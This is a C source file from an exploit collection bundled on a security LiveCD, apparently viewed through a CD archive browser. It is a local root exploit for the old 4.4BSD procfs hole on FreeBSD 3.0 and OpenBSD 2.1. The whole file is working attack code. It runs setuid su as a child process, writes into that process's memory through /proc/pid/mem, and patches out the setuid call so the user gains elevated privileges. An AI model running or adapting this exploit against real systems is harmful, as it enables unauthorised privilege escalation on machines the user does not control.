home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / bsd / local / procfs.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  87 lines

  1. /* FreeBSD v3.0  OpenBSD 2.1-RELEASE */
  2.  
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <unistd.h>
  6. #include <fcntl.h>
  7. #include <string.h>
  8.  
  9. u_char search_code[13] = {
  10.   0x8d, 0x05, 0x17, 0x00, 0x00, 0x00,           /* leal 0x17, %eax */
  11.   0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00};    /* lcall 7,0 */
  12.  
  13. /* just do a xor %eax, %eax and then a ret */
  14. u_char new_code[] = {
  15.   0x31, 0xc0, 0xc3};
  16.  
  17. main(int argc, char **argv)
  18. {
  19.   int pid;
  20.   int fd;
  21.   char buff[40];
  22.   char *user;
  23.  
  24.   /* might need to tweak these */
  25.   u_int offset=0x8003000;
  26.   u_int offset_end = 0x8099000;
  27.  
  28.   if(argc < 2)
  29.     {
  30.       fprintf(stderr, "%s user\n", argv[0]);
  31.       exit(1);
  32.     }
  33.   printf("Demonstration of 4.4BSD procfs hole\n");
  34.   printf("Brian Mitchell <brian@firehouse.net>\n\n");
  35.   printf("after you see \"setuid changed\", enter the pw for the user\n");
  36.   printf("\aBe warned, searching for the setuid() function takes a long time!\n");
  37.   user=argv[1];
  38.   pid = fork();
  39.   switch(pid)
  40.     {
  41.     case -1:
  42.       perror("fork");
  43.       exit(1);
  44.     case 0:
  45.       /* give parent time to open /proc/pid/mem */
  46.       sleep(3);
  47.       execl("/usr/bin/su", "su", user, NULL);
  48.       exit(0);
  49.     default:
  50.       sprintf(buff, "/proc/%d/mem", pid);
  51.       fd = open(buff, O_RDWR);
  52.       if(fd < 0)
  53.         {
  54.           perror("open procmem");
  55.           wait(NULL);
  56.           exit(1);
  57.         }
  58.       /* wait for child to execute suid program */
  59.       sleep(6);
  60.       /* stop the child */
  61.       kill(pid, 17);
  62.       printf("searching - please be patient...\n");
  63.       /* search for the setuid code */
  64.       while(offset != offset_end)
  65.         {
  66.           lseek(fd, offset, SEEK_SET);
  67.           read(fd, buff, 13);
  68.           if(!bcmp(buff, search_code, 13))
  69.             {
  70.               lseek(fd, offset, SEEK_SET);
  71.               write(fd, new_code, 3);
  72.               printf("setuid changed (0x%x)\n", offset);
  73.               /* sigcont child */
  74.               kill(pid, 19);
  75.               wait(NULL);
  76.               exit(0);
  77.             }
  78.           offset++;
  79.         }
  80.       printf("setuid not found!!\n");
  81.       kill(pid, 9);
  82.       wait(NULL);
  83.       exit(1);
  84.     }
  85. }
  86.  
  87. /*                    www.hack.co.za              [2000]*/